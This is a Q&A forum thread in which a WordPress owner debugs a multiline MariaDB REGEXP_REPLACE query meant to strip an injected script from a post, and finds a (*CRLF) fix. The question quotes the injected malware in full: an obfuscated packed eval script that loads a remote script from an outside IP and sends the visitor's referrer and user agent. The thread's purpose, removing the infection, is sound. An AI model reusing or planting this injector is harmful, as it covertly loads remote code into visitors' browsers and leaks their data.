I'm running a SQL query in MariaDB under PHPMyAdmin as follows:

select REGEXP_REPLACE(post_content,'(?m)<noindex>[.\r\n]*</noindex>','') from wp_posts where ID = 318

I'm trying to remove some hacker's script from a WordPress post, everything between start tag noindex and the end tag noindex, but the end tag noindex is on the second line. First I want to test the RegEx with a query, then later run in an update. I can't get it to work unless I limit the changes to one line.

The column post_content is defined as LongText.

I <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytkty|var|u0026u|referrer|ezezh||js|php'.split('|'),0,{}))
</script></noindex> was looking to accomplish etc... etc...

The same regex works fine in NotePad++ when I check the "Multiline" option.

I looked at a download of the database on my local hard-drive to determine what is really there - not sure this adds anything or not:

enter image description here I was thinking maybe PHP-MyAdmin or WordPress were using
or somehow hiding the actual value. But I think even in the backupdownload/they represent the new line as \n as a literal rather a hex value.

If I copy the longtext value from PhpMyAdmin to NotePad++ and turn on the show-symbols, it looks like this: enter image description here So that's why I think the carriage-return/line-feed are really stored in the longtext column value.

Version: 10.1.38-MariaDB

  • This kind of works, but it leaves the text split across the first two lines: select REGEXP_REPLACE(post_content,'(?m)<noindex>.*$|^.*</noindex>','') from wp_posts where ID = 318 Apr 14 '19 at 19:47
  • Also tried this: select REGEXP_REPLACE(post_content,'(?m)<noindex>[.\\x(A)\\x(D)]*</noindex>','') from wp_posts where ID = 318, but doesn't replace anything. Apr 14 '19 at 20:03
  • This seems logical too, but doesn't work: select REGEXP_REPLACE(post_content,'(?m)<noindex>[.[[:space:]]]*</noindex>','') from wp_posts where ID = 318 Apr 14 '19 at 20:33

Just through trial and error and persistence, I found a solution after about 2.5 hours:

select REGEXP_REPLACE(post_content,'(*CRLF)<noindex>.*</noindex>','') from wp_posts where ID = 318

If anyone could explain why the above solutions in my question didn't work though, that would still be appreciated.

Reference to (*CRLF) on this page: https://mariadb.com/kb/en/library/pcre/#multiline-matching

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.